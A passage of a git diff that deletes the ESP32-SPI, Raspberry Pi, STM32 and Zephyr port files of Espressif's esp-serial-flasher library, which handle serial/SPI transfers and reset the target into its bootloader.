KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -#include "esp32_spi_port.h" -#include "esp_log.h" -#include "driver/gpio.h" -#include "esp_timer.h" -#include "esp_log.h" -#include "esp_idf_version.h" -#include - -// #define SERIAL_DEBUG_ENABLE - -#if ESP_IDF_VERSION >= ESP_IDF_VERSION_VAL(4, 3, 0) -#define DMA_CHAN SPI_DMA_CH_AUTO -#else -#define DMA_CHAN 1 -#endif - -#define WORD_ALIGNED(ptr) ((size_t)ptr % sizeof(size_t) == 0) - -#ifdef SERIAL_DEBUG_ENABLE - -static void dec_to_hex_str(const uint8_t dec, uint8_t hex_str[3]) -{ - static const uint8_t dec_to_hex[] = { - '0', '1', '2', '3', '4', '5', '6', '7', - '8', '9', 'a', 'b', 'c', 'd', 'e', 'f' - }; - - hex_str[0] = dec_to_hex[dec >> 4]; - hex_str[1] = dec_to_hex[dec & 0xF]; - hex_str[2] = '\0'; -} - -static void serial_debug_print(const uint8_t *data, uint16_t size, bool write) -{ - static bool write_prev = false; - uint8_t hex_str[3]; - - if(write_prev != write) { - write_prev = write; - printf("\n--- %s ---\n", write ? "WRITE" : "READ"); - } - - for(uint32_t i = 0; i < size; i++) { - dec_to_hex_str(data[i], hex_str); - printf("%s ", hex_str); - } -} - -#else -static void serial_debug_print(const uint8_t *data, uint16_t size, bool write) { } -#endif - -static spi_host_device_t s_spi_bus; -static spi_bus_config_t s_spi_config; -static spi_device_handle_t s_device_h; -static spi_device_interface_config_t s_device_config; -static int64_t s_time_end; -static uint32_t s_reset_trigger_pin; -static uint32_t s_strap_bit0_pin; -static uint32_t s_strap_bit1_pin; -static uint32_t s_strap_bit2_pin; -static uint32_t s_strap_bit3_pin; -static uint32_t s_spi_cs_pin; - -esp_loader_error_t loader_port_esp32_spi_init(const loader_esp32_spi_config_t *config) -{ - /* Initialize the global static variables*/ - s_spi_bus = config->spi_bus; - s_reset_trigger_pin = config->reset_trigger_pin; - s_strap_bit0_pin = config->strap_bit0_pin; - s_strap_bit1_pin = config->strap_bit1_pin; - s_strap_bit2_pin = config->strap_bit2_pin; - s_strap_bit3_pin = config->strap_bit3_pin; - s_spi_cs_pin = config->spi_cs_pin; - - /* Configure and initialize the SPI bus*/ - s_spi_config.mosi_io_num = config->spi_mosi_pin; - s_spi_config.miso_io_num = config->spi_miso_pin; - s_spi_config.sclk_io_num = config->spi_clk_pin; - s_spi_config.quadwp_io_num = config->spi_quadwp_pin; - s_spi_config.quadhd_io_num = config->spi_quadhd_pin; - s_spi_config.max_transfer_sz = 4096 * 4; - - if (spi_bus_initialize(s_spi_bus, &s_spi_config, DMA_CHAN) != ESP_OK) { - return ESP_LOADER_ERROR_FAIL; - } - - /* Configure and add the device */ - s_device_config.clock_speed_hz = config->frequency; - s_device_config.spics_io_num = -1; /* We're using the chip select pin as GPIO as we need to - chain multiple transactions with CS pulled down */ - s_device_config.flags = SPI_DEVICE_HALFDUPLEX; - s_device_config.queue_size = 16; - - if (spi_bus_add_device(s_spi_bus, &s_device_config, &s_device_h) != ESP_OK) { - return ESP_LOADER_ERROR_FAIL; - } - - /* Initialize the pins except for the strapping ones */ - gpio_reset_pin(s_reset_trigger_pin); - gpio_set_pull_mode(s_reset_trigger_pin, GPIO_PULLUP_ONLY); - gpio_set_direction(s_reset_trigger_pin, GPIO_MODE_OUTPUT); - gpio_set_level(s_reset_trigger_pin, 1); - - gpio_reset_pin(s_spi_cs_pin); - gpio_set_pull_mode(s_spi_cs_pin, GPIO_PULLUP_ONLY); - gpio_set_direction(s_spi_cs_pin, GPIO_MODE_OUTPUT); - gpio_set_level(s_spi_cs_pin, 1); - - return ESP_LOADER_SUCCESS; -} - - -void loader_port_esp32_spi_deinit(void) -{ - gpio_reset_pin(s_reset_trigger_pin); - gpio_reset_pin(s_spi_cs_pin); - spi_bus_remove_device(s_device_h); - spi_bus_free(s_spi_bus); -} - - -void loader_port_spi_set_cs(const uint32_t level) { - gpio_set_level(s_spi_cs_pin, level); -} - - -esp_loader_error_t loader_port_write(const uint8_t *data, const uint16_t size, const uint32_t timeout) -{ - /* Due to the fact that the SPI driver uses DMA for larger transfers, - and the DMA requirements, the buffer must be word aligned */ - if (data == NULL || !WORD_ALIGNED(data)) { - return ESP_LOADER_ERROR_INVALID_PARAM; - } - - serial_debug_print(data, size, true); - - spi_transaction_t transaction = { - .tx_buffer = data, - .rx_buffer = NULL, - .length = size * 8U, - .rxlength = 0, - }; - - esp_err_t err = spi_device_transmit(s_device_h, &transaction); - - if (err == ESP_OK) { - serial_debug_print(data, size, false); - return ESP_LOADER_SUCCESS; - } else if (err == ESP_ERR_TIMEOUT) { - return ESP_LOADER_ERROR_TIMEOUT; - } else { - return ESP_LOADER_ERROR_FAIL; - } -} - - -esp_loader_error_t loader_port_read(uint8_t *data, const uint16_t size, const uint32_t timeout) -{ - /* Due to the fact that the SPI driver uses DMA for larger transfers, - and the DMA requirements, the buffer must be word aligned */ - if (data == NULL || !WORD_ALIGNED(data)) { - return ESP_LOADER_ERROR_INVALID_PARAM; - } - - serial_debug_print(data, size, true); - - spi_transaction_t transaction = { - .tx_buffer = NULL, - .rx_buffer = data, - .rxlength = size * 8, - }; - - esp_err_t err = spi_device_transmit(s_device_h, &transaction); - - if (err == ESP_OK) { - serial_debug_print(data, size, false); - return ESP_LOADER_SUCCESS; - } else if (err == ESP_ERR_TIMEOUT) { - return ESP_LOADER_ERROR_TIMEOUT; - } else { - return ESP_LOADER_ERROR_FAIL; - } -} - - -void loader_port_enter_bootloader(void) -{ - /* - We have to initialize the GPIO pins for the target strapping pins here, - as they may overlap with target SPI pins. - For instance in the case of ESP32C3 MISO and strapping bit 0 pins overlap. - */ - spi_bus_remove_device(s_device_h); - spi_bus_free(s_spi_bus); - - gpio_reset_pin(s_strap_bit0_pin); - gpio_set_pull_mode(s_strap_bit0_pin, GPIO_PULLUP_ONLY); - gpio_set_direction(s_strap_bit0_pin, GPIO_MODE_OUTPUT); - - gpio_reset_pin(s_strap_bit1_pin); - gpio_set_pull_mode(s_strap_bit1_pin, GPIO_PULLUP_ONLY); - gpio_set_direction(s_strap_bit1_pin, GPIO_MODE_OUTPUT); - - gpio_reset_pin(s_strap_bit2_pin); - gpio_set_pull_mode(s_strap_bit2_pin, GPIO_PULLUP_ONLY); - gpio_set_direction(s_strap_bit2_pin, GPIO_MODE_OUTPUT); - - gpio_reset_pin(s_strap_bit3_pin); - gpio_set_pull_mode(s_strap_bit3_pin, GPIO_PULLUP_ONLY); - gpio_set_direction(s_strap_bit3_pin, GPIO_MODE_OUTPUT); - - /* Set the strapping pins and perform the reset sequence */ - gpio_set_level(s_strap_bit0_pin, 1); - gpio_set_level(s_strap_bit1_pin, 0); - gpio_set_level(s_strap_bit2_pin, 0); - gpio_set_level(s_strap_bit3_pin, 0); - loader_port_reset_target(); - loader_port_delay_ms(SERIAL_FLASHER_BOOT_HOLD_TIME_MS); - gpio_set_level(s_strap_bit3_pin, 1); - gpio_set_level(s_strap_bit0_pin, 0); - - /* Disable the strapping pins so they can be used by the slave later */ - gpio_reset_pin(s_strap_bit0_pin); - gpio_reset_pin(s_strap_bit1_pin); - gpio_reset_pin(s_strap_bit2_pin); - gpio_reset_pin(s_strap_bit3_pin); - - /* Restore the SPI bus pins */ - spi_bus_initialize(s_spi_bus, &s_spi_config, DMA_CHAN); - spi_bus_add_device(s_spi_bus, &s_device_config, &s_device_h); -} - - -void loader_port_reset_target(void) -{ - gpio_set_level(s_reset_trigger_pin, 0); - loader_port_delay_ms(SERIAL_FLASHER_RESET_HOLD_TIME_MS); - gpio_set_level(s_reset_trigger_pin, 1); -} - - -void loader_port_delay_ms(const uint32_t ms) -{ - usleep(ms * 1000); -} - - -void loader_port_start_timer(const uint32_t ms) -{ - s_time_end = esp_timer_get_time() + ms * 1000; -} - - -uint32_t loader_port_remaining_time(void) -{ - int64_t remaining = (s_time_end - esp_timer_get_time()) / 1000; - return (remaining > 0) ? (uint32_t)remaining : 0; -} - - -void loader_port_debug_print(const char *str) -{ - printf("DEBUG: %s\n", str); -} - - -esp_loader_error_t loader_port_change_transmission_rate(const uint32_t frequency) -{ - if (spi_bus_remove_device(s_device_h) != ESP_OK) { - return ESP_LOADER_ERROR_FAIL; - } - - uint32_t old_frequency = s_device_config.clock_speed_hz; - s_device_config.clock_speed_hz = frequency; - - if (spi_bus_add_device(s_spi_bus, &s_device_config, &s_device_h) != ESP_OK) { - s_device_config.clock_speed_hz = old_frequency; - return ESP_LOADER_ERROR_FAIL; - } - - return ESP_LOADER_SUCCESS; -} diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/port/esp32_spi_port.h b/applications/external/esp_flasher/lib/esp-serial-flasher/port/esp32_spi_port.h deleted file mode 100644 index 72304c5df..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/port/esp32_spi_port.h +++ /dev/null @@ -1,60 +0,0 @@ -/* Copyright 2020-2023 Espressif Systems (Shanghai) CO LTD - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - - #pragma once - -#include "esp_loader_io.h" -#include "driver/spi_master.h" - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct -{ - spi_host_device_t spi_bus; - uint32_t frequency; - uint32_t spi_clk_pin; - uint32_t spi_miso_pin; - uint32_t spi_mosi_pin; - uint32_t spi_cs_pin; - uint32_t spi_quadwp_pin; - uint32_t spi_quadhd_pin; - uint32_t reset_trigger_pin; - uint32_t strap_bit0_pin; - uint32_t strap_bit1_pin; - uint32_t strap_bit2_pin; - uint32_t strap_bit3_pin; -} loader_esp32_spi_config_t; - -/** - * @brief Initializes the SPI interface. - * - * @param config[in] Configuration structure - * - * @return - * - ESP_LOADER_SUCCESS Success - * - ESP_LOADER_ERROR_FAIL Initialization failure - */ -esp_loader_error_t loader_port_esp32_spi_init(const loader_esp32_spi_config_t *config); - -/** - * @brief Deinitializes the SPI interface. - */ -void loader_port_esp32_spi_deinit(void); - -#ifdef __cplusplus -} -#endif diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/port/raspberry_port.c b/applications/external/esp_flasher/lib/esp-serial-flasher/port/raspberry_port.c deleted file mode 100644 index d733db702..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/port/raspberry_port.c +++ /dev/null @@ -1,302 +0,0 @@ -/* Copyright 2020-2023 Espressif Systems (Shanghai) CO LTD - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -#include "esp_loader_io.h" -#include "protocol.h" -#include -#include "raspberry_port.h" - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#ifdef SERIAL_FLASHER_DEBUG_TRACE -static void transfer_debug_print(const uint8_t *data, uint16_t size, bool write) -{ - static bool write_prev = false; - - if (write_prev != write) { - write_prev = write; - printf("\n--- %s ---\n", write ? "WRITE" : "READ"); - } - - for (uint32_t i = 0; i < size; i++) { - printf("%02x ", data[i]); - } -} -#endif - -static int serial; -static int64_t s_time_end; -static int32_t s_reset_trigger_pin; -static int32_t s_gpio0_trigger_pin; - - -static speed_t convert_baudrate(int baud) -{ - switch (baud) { - case 50: return B50; - case 75: return B75; - case 110: return B110; - case 134: return B134; - case 150: return B150; - case 200: return B200; - case 300: return B300; - case 600: return B600; - case 1200: return B1200; - case 1800: return B1800; - case 2400: return B2400; - case 4800: return B4800; - case 9600: return B9600; - case 19200: return B19200; - case 38400: return B38400; - case 57600: return B57600; - case 115200: return B115200; - case 230400: return B230400; - case 460800: return B460800; - case 500000: return B500000; - case 576000: return B576000; - case 921600: return B921600; - case 1000000: return B1000000; - case 1152000: return B1152000; - case 1500000: return B1500000; - case 2000000: return B2000000; - case 2500000: return B2500000; - case 3000000: return B3000000; - case 3500000: return B3500000; - case 4000000: return B4000000; - default: return -1; - } -} - -static int serialOpen (const char *device, uint32_t baudrate) -{ - struct termios options; - int status, fd; - - if ((fd = open (device, O_RDWR | O_NOCTTY | O_NDELAY | O_NONBLOCK)) == -1) { - printf("Error occured while opening serial port !\n"); - return -1 ; - } - - fcntl (fd, F_SETFL, O_RDWR) ; - - // Get and modify current options: - - tcgetattr (fd, &options); - speed_t baud = convert_baudrate(baudrate); - - if(baud < 0) { - printf("Invalid baudrate!\n"); - return -1; - } - - cfmakeraw (&options) ; - cfsetispeed (&options, baud) ; - cfsetospeed (&options, baud) ; - - options.c_cflag |= (CLOCAL | CREAD) ; - options.c_cflag &= ~(PARENB | CSTOPB | CSIZE) ; - options.c_cflag |= CS8 ; - options.c_lflag &= ~(ICANON | ECHO | ECHOE | ISIG) ; - options.c_oflag &= ~OPOST ; - options.c_iflag &= ~(IXON | IXOFF | IXANY); // Turn off s/w flow ctrl - options.c_iflag &= ~(IGNBRK | BRKINT | PARMRK | ISTRIP | INLCR | IGNCR | ICRNL); // Disable any special handling of received bytes - - options.c_cc [VMIN] = 0 ; - options.c_cc [VTIME] = 10 ; // 1 Second - - tcsetattr (fd, TCSANOW, &options) ; - - ioctl (fd, TIOCMGET, &status); - - status |= TIOCM_DTR ; - status |= TIOCM_RTS ; - - ioctl (fd, TIOCMSET, &status); - - usleep (10000) ; // 10mS - - return fd ; -} - -static esp_loader_error_t change_baudrate(int file_desc, int baudrate) -{ - struct termios options; - speed_t baud = convert_baudrate(baudrate); - - if(baud < 0) { - return ESP_LOADER_ERROR_INVALID_PARAM; - } - - tcgetattr (file_desc, &options); - - cfmakeraw (&options) ; - cfsetispeed (&options, baud); - cfsetospeed (&options, baud); - - tcsetattr (file_desc, TCSANOW, &options); - - return ESP_LOADER_SUCCESS; -} - -static void set_timeout(uint32_t timeout) -{ - struct termios options; - - timeout /= 100; - timeout = MAX(timeout, 1); - - tcgetattr(serial, &options); - options.c_cc[VTIME] = timeout; - tcsetattr(serial, TCSANOW, &options); -} - -static esp_loader_error_t read_char(char *c, uint32_t timeout) -{ - set_timeout(timeout); - int read_bytes = read(serial, c, 1); - - if (read_bytes == 1) { - return ESP_LOADER_SUCCESS; - } else if (read_bytes == 0) { - return ESP_LOADER_ERROR_TIMEOUT; - } else { - return ESP_LOADER_ERROR_FAIL; - } -} - -static esp_loader_error_t read_data(char *buffer, uint32_t size) -{ - for (int i = 0; i < size; i++) { - uint32_t remaining_time = loader_port_remaining_time(); - RETURN_ON_ERROR( read_char(&buffer[i], remaining_time) ); - } - - return ESP_LOADER_SUCCESS; -} - -esp_loader_error_t loader_port_raspberry_init(const loader_raspberry_config_t *config) -{ - s_reset_trigger_pin = config->reset_trigger_pin; - s_gpio0_trigger_pin = config->gpio0_trigger_pin; - - serial = serialOpen(config->device, config->baudrate); - if (serial < 0) { - printf("Serial port could not be opened!\n"); - return ESP_LOADER_ERROR_FAIL; - } - - if (gpioInitialise() < 0) { - printf("pigpio initialisation failed\n"); - return ESP_LOADER_ERROR_FAIL; - } - - gpioSetMode(config->reset_trigger_pin, PI_OUTPUT); - gpioSetMode(config->gpio0_trigger_pin, PI_OUTPUT); - - return ESP_LOADER_SUCCESS; -} - - -esp_loader_error_t loader_port_write(const uint8_t *data, uint16_t size, uint32_t timeout) -{ - int written = write(serial, data, size); - - if (written < 0) { - return ESP_LOADER_ERROR_FAIL; - } else if (written < size) { -#ifdef SERIAL_FLASHER_DEBUG_TRACE - transfer_debug_print(data, written, true); -#endif - return ESP_LOADER_ERROR_TIMEOUT; - } else { -#ifdef SERIAL_FLASHER_DEBUG_TRACE - transfer_debug_print(data, written, true); -#endif - return ESP_LOADER_SUCCESS; - } -} - - -esp_loader_error_t loader_port_read(uint8_t *data, uint16_t size, uint32_t timeout) -{ - RETURN_ON_ERROR( read_data(data, size) ); - -#ifdef SERIAL_FLASHER_DEBUG_TRACE - transfer_debug_print(data, size, false); -#endif - - return ESP_LOADER_SUCCESS; -} - - -// Set GPIO0 LOW, then assert reset pin for 50 milliseconds. -void loader_port_enter_bootloader(void) -{ - gpioWrite(s_gpio0_trigger_pin, 0); - loader_port_reset_target(); - loader_port_delay_ms(SERIAL_FLASHER_BOOT_HOLD_TIME_MS); - gpioWrite(s_gpio0_trigger_pin, 1); -} - - -void loader_port_reset_target(void) -{ - gpioWrite(s_reset_trigger_pin, 0); - loader_port_delay_ms(SERIAL_FLASHER_RESET_HOLD_TIME_MS); - gpioWrite(s_reset_trigger_pin, 1); -} - - -void loader_port_delay_ms(uint32_t ms) -{ - usleep(ms * 1000); -} - - -void loader_port_start_timer(uint32_t ms) -{ - s_time_end = clock() + (ms * (CLOCKS_PER_SEC / 1000)); -} - - -uint32_t loader_port_remaining_time(void) -{ - int64_t remaining = (s_time_end - clock()) / 1000; - return (remaining > 0) ? (uint32_t)remaining : 0; -} - - -void loader_port_debug_print(const char *str) -{ - printf("DEBUG: %s\n", str); -} - -esp_loader_error_t loader_port_change_transmission_rate(uint32_t baudrate) -{ - return change_baudrate(serial, baudrate); -} \ No newline at end of file diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/port/raspberry_port.h b/applications/external/esp_flasher/lib/esp-serial-flasher/port/raspberry_port.h deleted file mode 100644 index 803ab72dd..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/port/raspberry_port.h +++ /dev/null @@ -1,36 +0,0 @@ -/* Copyright 2020-2023 Espressif Systems (Shanghai) CO LTD - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -#pragma once - -#include -#include "esp_loader_io.h" - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct { - const char *device; - uint32_t baudrate; - uint32_t reset_trigger_pin; - uint32_t gpio0_trigger_pin; -} loader_raspberry_config_t; - -esp_loader_error_t loader_port_raspberry_init(const loader_raspberry_config_t *config); - -#ifdef __cplusplus -} -#endif diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/port/stm32_port.c b/applications/external/esp_flasher/lib/esp-serial-flasher/port/stm32_port.c deleted file mode 100644 index 716c9c91b..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/port/stm32_port.c +++ /dev/null @@ -1,140 +0,0 @@ -/* Copyright 2020-2023 Espressif Systems (Shanghai) CO LTD - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -#include -#include -#include -#include -#include -#include "stm32_port.h" - -static UART_HandleTypeDef *uart; -static GPIO_TypeDef* gpio_port_io0, *gpio_port_rst; -static uint16_t gpio_num_io0, gpio_num_rst; - -#ifdef SERIAL_FLASHER_DEBUG_TRACE -static void transfer_debug_print(const uint8_t *data, uint16_t size, bool write) -{ - static bool write_prev = false; - - if (write_prev != write) { - write_prev = write; - printf("\n--- %s ---\n", write ? "WRITE" : "READ"); - } - - for (uint32_t i = 0; i < size; i++) { - printf("%02x ", data[i]); - } -} -#endif - -static uint32_t s_time_end; - -esp_loader_error_t loader_port_write(const uint8_t *data, uint16_t size, uint32_t timeout) -{ - HAL_StatusTypeDef err = HAL_UART_Transmit(uart, (uint8_t *)data, size, timeout); - - if (err == HAL_OK) { -#ifdef SERIAL_FLASHER_DEBUG_TRACE - transfer_debug_print(data, size, true); -#endif - return ESP_LOADER_SUCCESS; - } else if (err == HAL_TIMEOUT) { - return ESP_LOADER_ERROR_TIMEOUT; - } else { - return ESP_LOADER_ERROR_FAIL; - } -} - - -esp_loader_error_t loader_port_read(uint8_t *data, uint16_t size, uint32_t timeout) -{ - HAL_StatusTypeDef err = HAL_UART_Receive(uart, data, size, timeout); - - if (err == HAL_OK) { -#ifdef SERIAL_FLASHER_DEBUG_TRACE - transfer_debug_print(data, size, false); -#endif - return ESP_LOADER_SUCCESS; - } else if (err == HAL_TIMEOUT) { - return ESP_LOADER_ERROR_TIMEOUT; - } else { - return ESP_LOADER_ERROR_FAIL; - } -} - -void loader_port_stm32_init(loader_stm32_config_t *config) - -{ - uart = config->huart; - gpio_port_io0 = config->port_io0; - gpio_port_rst = config->port_rst; - gpio_num_io0 = config->pin_num_io0; - gpio_num_rst = config->pin_num_rst; -} - -// Set GPIO0 LOW, then -// assert reset pin for 100 milliseconds. -void loader_port_enter_bootloader(void) -{ - HAL_GPIO_WritePin(gpio_port_io0, gpio_num_io0, GPIO_PIN_RESET); - loader_port_reset_target(); - HAL_Delay(SERIAL_FLASHER_BOOT_HOLD_TIME_MS); - HAL_GPIO_WritePin(gpio_port_io0, gpio_num_io0, GPIO_PIN_SET); -} - - -void loader_port_reset_target(void) -{ - HAL_GPIO_WritePin(gpio_port_rst, gpio_num_rst, GPIO_PIN_RESET); - HAL_Delay(SERIAL_FLASHER_RESET_HOLD_TIME_MS); - HAL_GPIO_WritePin(gpio_port_rst, gpio_num_rst, GPIO_PIN_SET); -} - - -void loader_port_delay_ms(uint32_t ms) -{ - HAL_Delay(ms); -} - - -void loader_port_start_timer(uint32_t ms) -{ - s_time_end = HAL_GetTick() + ms; -} - - -uint32_t loader_port_remaining_time(void) -{ - int32_t remaining = s_time_end - HAL_GetTick(); - return (remaining > 0) ? (uint32_t)remaining : 0; -} - - -void loader_port_debug_print(const char *str) -{ - printf("DEBUG: %s", str); -} - -esp_loader_error_t loader_port_change_transmission_rate(uint32_t baudrate) -{ - uart->Init.BaudRate = baudrate; - - if( HAL_UART_Init(uart) != HAL_OK ) { - return ESP_LOADER_ERROR_FAIL; - } - - return ESP_LOADER_SUCCESS; -} diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/port/stm32_port.h b/applications/external/esp_flasher/lib/esp-serial-flasher/port/stm32_port.h deleted file mode 100644 index a3a89a733..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/port/stm32_port.h +++ /dev/null @@ -1,38 +0,0 @@ -/* Copyright 2020-2023 Espressif Systems (Shanghai) CO LTD - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -#pragma once - -#include -#include "esp_loader_io.h" -#include "stm32f4xx_hal.h" - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct { - UART_HandleTypeDef *huart; - GPIO_TypeDef *port_io0; - uint16_t pin_num_io0; - GPIO_TypeDef *port_rst; - uint16_t pin_num_rst; -} loader_stm32_config_t; - -void loader_port_stm32_init(loader_stm32_config_t *config); - -#ifdef __cplusplus -} -#endif diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/port/zephyr_port.c b/applications/external/esp_flasher/lib/esp-serial-flasher/port/zephyr_port.c deleted file mode 100644 index 21270ba0a..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/port/zephyr_port.c +++ /dev/null @@ -1,170 +0,0 @@ -/* - * Copyright (c) 2022 KT-Elektronik, Klaucke und Partner GmbH - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -#include "zephyr_port.h" -#include -#include - -static const struct device *uart_dev; -static struct gpio_dt_spec enable_spec; -static struct gpio_dt_spec boot_spec; - -static struct tty_serial tty; -static char tty_rx_buf[CONFIG_ESP_SERIAL_FLASHER_UART_BUFSIZE]; -static char tty_tx_buf[CONFIG_ESP_SERIAL_FLASHER_UART_BUFSIZE]; - -#ifdef SERIAL_FLASHER_DEBUG_TRACE -static void transfer_debug_print(const uint8_t *data, uint16_t size, bool write) -{ - static bool write_prev = false; - - if (write_prev != write) { - write_prev = write; - printk("\n--- %s ---\n", write ? "WRITE" : "READ"); - } - - for (uint32_t i = 0; i < size; i++) { - printk("%02x ", data[i]); - } -} -#endif - -esp_loader_error_t configure_tty() -{ - if (tty_init(&tty, uart_dev) < 0 || - tty_set_rx_buf(&tty, tty_rx_buf, sizeof(tty_rx_buf)) < 0 || - tty_set_tx_buf(&tty, tty_tx_buf, sizeof(tty_tx_buf)) < 0) { - return ESP_LOADER_ERROR_FAIL; - } - - return ESP_LOADER_SUCCESS; -} - -esp_loader_error_t loader_port_read(uint8_t *data, const uint16_t size, const uint32_t timeout) -{ - if (!device_is_ready(uart_dev) || data == NULL || size == 0) { - return ESP_LOADER_ERROR_FAIL; - } - - ssize_t total_read = 0; - ssize_t remaining = size; - - tty_set_rx_timeout(&tty, timeout); - while (remaining > 0) { - const uint16_t chunk_size = remaining < CONFIG_ESP_SERIAL_FLASHER_UART_BUFSIZE ? - remaining : CONFIG_ESP_SERIAL_FLASHER_UART_BUFSIZE; - ssize_t read = tty_read(&tty, &data[total_read], chunk_size); - if (read < 0) { - return ESP_LOADER_ERROR_TIMEOUT; - } -#ifdef SERIAL_FLASHER_DEBUG_TRACE - transfer_debug_print(data, read, false); -#endif - total_read += read; - remaining -= read; - } - - return ESP_LOADER_SUCCESS; -} - -esp_loader_error_t loader_port_write(const uint8_t *data, const uint16_t size, const uint32_t timeout) -{ - if (!device_is_ready(uart_dev) || data == NULL || size == 0) { - return ESP_LOADER_ERROR_FAIL; - } - - ssize_t total_written = 0; - ssize_t remaining = size; - - tty_set_tx_timeout(&tty, timeout); - while (remaining > 0) { - const uint16_t chunk_size = remaining < CONFIG_ESP_SERIAL_FLASHER_UART_BUFSIZE ? - remaining : CONFIG_ESP_SERIAL_FLASHER_UART_BUFSIZE; - ssize_t written = tty_write(&tty, &data[total_written], chunk_size); - if (written < 0) { - return ESP_LOADER_ERROR_TIMEOUT; - } -#ifdef SERIAL_FLASHER_DEBUG_TRACE - transfer_debug_print(data, written, true); -#endif - total_written += written; - remaining -= written; - } - - return ESP_LOADER_SUCCESS; -} - -esp_loader_error_t loader_port_zephyr_init(const loader_zephyr_config_t *config) -{ - uart_dev = config->uart_dev; - enable_spec = config->enable_spec; - boot_spec = config->boot_spec; - return configure_tty(); -} - -void loader_port_reset_target(void) -{ - gpio_pin_set_dt(&enable_spec, false); - loader_port_delay_ms(CONFIG_SERIAL_FLASHER_RESET_HOLD_TIME_MS); - gpio_pin_set_dt(&enable_spec, true); -} - -void loader_port_enter_bootloader(void) -{ - gpio_pin_set_dt(&boot_spec, false); - loader_port_reset_target(); - loader_port_delay_ms(CONFIG_SERIAL_FLASHER_BOOT_HOLD_TIME_MS); - gpio_pin_set_dt(&boot_spec, true); -} - -void loader_port_delay_ms(uint32_t ms) -{ - k_msleep(ms); -} - -static uint64_t s_time_end; - -void loader_port_start_timer(uint32_t ms) -{ - s_time_end = sys_clock_timeout_end_calc(Z_TIMEOUT_MS(ms)); -} - -uint32_t loader_port_remaining_time(void) -{ - int64_t remaining = k_ticks_to_ms_floor64(s_time_end - k_uptime_ticks()); - return (remaining > 0) ? (uint32_t)remaining : 0; -} - -esp_loader_error_t loader_port_change_transmission_rate(uint32_t baudrate) -{ - struct uart_config uart_config; - - if (!device_is_ready(uart_dev)) { - return ESP_LOADER_ERROR_FAIL; - } - - if (uart_config_get(uart_dev, &uart_config) != 0) { - return ESP_LOADER_ERROR_FAIL; - } - uart_config.baudrate = baudrate; - - if (uart_configure(uart_dev, &uart_config) != 0) { - return ESP_LOADER_ERROR_FAIL; - } - - /* bitrate-change can require tty re-configuration */ - return configure_tty(); -} diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/port/zephyr_port.h b/applications/external/esp_flasher/lib/esp-serial-flasher/port/zephyr_port.h deleted file mode 100644 index 0b104e375..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/port/zephyr_port.h +++ /dev/null @@ -1,39 +0,0 @@ -/* - * Copyright (c) 2022 KT-Elektronik, Klaucke und Partner GmbH - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -#pragma once - -#include "esp_loader_io.h" -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct { - const struct device *uart_dev; - const struct gpio_dt_spec enable_spec; - const struct 